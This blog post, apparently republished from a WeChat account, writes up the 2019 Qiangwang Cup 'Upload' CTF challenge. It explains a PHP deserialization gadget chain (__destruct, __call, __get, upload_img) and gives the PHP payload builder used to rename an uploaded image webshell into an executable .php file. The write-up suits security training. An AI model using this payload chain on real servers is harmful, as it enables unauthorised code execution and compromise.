前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >2019强网杯Upload题Writeup

2019强网杯Upload题Writeup

作者头像
Elapse
发布2020-08-17 11:32:21
1.3K0
发布2020-08-17 11:32:21
举报
文章被收录于专栏:E条咸鱼

日常废话

强网杯过去有一段时间了,开始时因为在外地,没什么时间,下飞机的时候刚好比赛结束,所以题目基本没碰,难得暑假有时间了,把以前在PHP反序列化上的不足弥补了一下,打算照着其他老师傅的writeup把题目做一遍,文内如有雷同,那肯定是我抄的

Docker环境链接:https://github.com/glzjin/qwb_2019_upload

正文

打开网页,是一个登录界面

注册完后,登录,便是一个上传点

一系列的绕过操作试了一遍后,发现都不行,只能上传包含恶意语句的图片

打开BP抓包后发现,参数user是一串base64编码的字符串

一系列解码后得到序列化内容

拎去反序列化,得到一个文件名,猜测上传文件后,将文件名重命名了一遍

这个时候,利用目录爆破工具会在网站中找到一个 www.tar.gz这个文件,因为这个docker环境没有,所以这里没图。下载下来后,审计中找到了 __destruct()魔法函数

同时,在Index.php中,找到了身份验证的方法

Index.php会对传入的内容进行base64解码,然后反序列化

继续审计,发现了 Profile.php中,有对文件重命名的操作

那么,为了能正常的利用upload_img来进行copy操作,就得将if都过了,首先是这个if

代码语言:javascript
复制
if($this->checker){
    if(!$this->checker->login_check()){
        $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
        $this->redirect($curr_url,302);
        exit();
    }
}

要确保里面的内容不会被执行, checker不赋值或者等于false就好了

到第二个if

代码语言:javascript
复制
if(!empty($_FILES)){
    $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
    $this->filename=md5($_FILES['upload_file']['name']).".png";
    $this->ext_check();
}

两个文件名的参数都没有什么过滤,唯一的阻碍是 ext_check(),他会判断你的后缀是否为png,没啥用

第三个if

代码语言:javascript
复制
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
    @copy($this->filename_tmp, $this->filename);
    @unlink($this->filename_tmp);
    $this->img="../upload/$this->upload_menu/$this->filename";
    $this->update_img();
}else{
    $this->error('Forbidden type!', url('../index'));
}
}else{
    $this->error('Unknow file type!', url('../index'));
}

首先是ext的值,需要为 True

其次还得注意这个

代码语言:javascript
复制
if(getimagesize($this->filename_tmp)) {

所以得是一个好的图片,里面插入一句话木马才行,然后 filename_tmpfinename就是加密后的文件名和源文件名

三个IF都解决了,问题是怎么通过反序列化来调用 upload_img

在当前文件 Profile.php中,我们发现了 __get__call这两个魔法函数

代码语言:javascript
复制
读取不可访问属性的值时,__get() 会被调用;
在对象中调用一个不可访问方法时,__call() 会被调用。
(上面两句内容来自https://www.freebuf.com/articles/web/205690.html的解释)

首先回到Register.php中看 __destruct()的操作

上面两图说明了,checker会去 Index()中调用 index()(注意区分大小写)

如果我们将 $this->checker覆盖为 类Profile()但是因为 Profile()中没有index(),所以会触发 __call()魔法函数

代码语言:javascript
复制
public function __call($name, $arguments)
{
        if($this->{$name}){
        $this->{$this->{$name}}($arguments);
    }
}

进入该类之后,会调用一个不存在的对象,导致 __get()的触发,所以我们需要在序列化的时候,将 except赋值为

代码语言:javascript
复制
public $except=array('index'=>'upload_img');

就可以触发 upload_img,达到改名的效果了

下面是攻击链

代码语言:javascript
复制
__destruct()->__call()->__get()->upload_img

构造PHP代码:

代码语言:javascript
复制
<?php
namespace app\web\controller;
class Profile
{
    public $checker=0;
    public $filename_tmp="文件名";
    public $filename="更改后的文件名";
    public $upload_menu;
    public $ext=1;
    public $img;
    public $except=array('index'=>'upload_img');

}
class Register
{
    public $checker;
    public $registed=0;
}

$a=new Register();
$a->checker=new Profile();
$a->checker->checker = 0;
// echo serialize($a);
echo base64_encode(serialize($a));
?>

打开网页,我们先上传一个图片马

获取图片路径

然后修改php代码

代码语言:javascript
复制
public $filename_tmp="../public/upload/99afcd599914c2e4fb42620458fb70af/364be8860e8d72b4358b5e88099a935a.png";
    public $filename="/public/upload/99afcd599914c2e4fb42620458fb70af/Elapse.php";

执行后将生成的base64内容,通过bp发送到服务器上

页面报错

这时我们回到图片的目录下,发现名字已经更改

改之前

改之后

试着执行一下命令,成功

头顶凉凉的

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-07-31,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 E条咸鱼 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 日常废话
  • 正文
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档